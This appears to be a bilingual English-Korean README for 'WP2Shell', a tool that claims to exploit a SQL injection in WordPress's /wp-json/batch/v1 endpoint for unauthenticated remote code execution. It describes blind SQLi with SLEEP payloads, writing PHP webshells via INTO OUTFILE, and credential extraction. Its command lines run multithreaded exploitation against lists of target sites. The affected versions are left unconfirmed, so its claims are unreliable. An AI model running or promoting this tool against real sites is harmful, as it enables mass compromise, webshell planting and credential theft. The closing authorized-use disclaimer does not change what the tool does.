
WP2Shell - CVE-2026-63030 / CVE-2026-60137 This tool exploits a critical SQL injection vulnerability in the WordPress REST API `/wp-json/batch/v1` endpoint, allowing unauthenticated attackers to execute arbitrary SQL queries and achieve Remote Code Execution (RCE) on vulnerable WordPress installations.
워드프레스 REST API 배치 엔드포인트 취약점에 대한 완전한 탐지 및 익스플로잇 도구입니다.
이 도구는 WordPress REST API /wp-json/batch/v1 엔드포인트의 중요한 SQL 인젝션 취약점을 이용하여, 인증되지 않은 공격자가 취약한 WordPress 설치에서 임의의 SQL 쿼리를 실행하고 원격 코드 실행(RCE)을 달성할 수 있게 합니다.
취약점: CVE-2026-63030 / CVE-2026-60137
벡터: WordPress REST API Batch 엔드포인트 (/wp-json/batch/v1) SQL 인젝션
영향: 인증되지 않은 RCE
영향 받는 버전: WordPress 6.4.x 및 이전 (구체적 버전은 추후 확인)
SLEEP() 페이로드를 사용한 시간 기반 블라인드 SQL 인젝션 탐지ORDER BY 프로빙을 통해 테이블 구조 결정INTO OUTFILE을 통해 PHP 웹쉘 작성 (허용될 때)# Clone the repository
git clone https://github.com/NULL200OK/wp2shell.git
cd wp2shell
# Install dependencies
pip install requests beautifulsoup4
# Create targets file
echo "https://target.com" > targets.txt
# Run discovery
python wp2shell.py targets.txt --scan --verbose
# Full exploitation
python wp2shell.py targets.txt --exploit --verbose
# Scan single target with verbose output
python wp2shell.py targets.txt --exploit --verbose
# Custom sleep time for slow servers
python wp2shell.py targets.txt --exploit --sleep 20 --verbose
# Multi-threaded scanning (20 threads)
python wp2shell.py targets.txt --exploit --threads 20 --verbose
# Skip shell writes (extract credentials only)
python wp2shell.py targets.txt --exploit --no-shell --verbose
# Force specific HTTP method
python wp2shell.py targets.txt --exploit --method POST --verbose
1- JSON 보고서: 취약점 상태와 추출된 자격 증명이 포함된 구조화된 데이터
2- HTML 보고서: 클릭 가능한 쉘 URL과 함께 아름답고 색상이 구분된 시각화
이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용하십시오. 저자는 오용에 대한 책임을 지지 않습니다.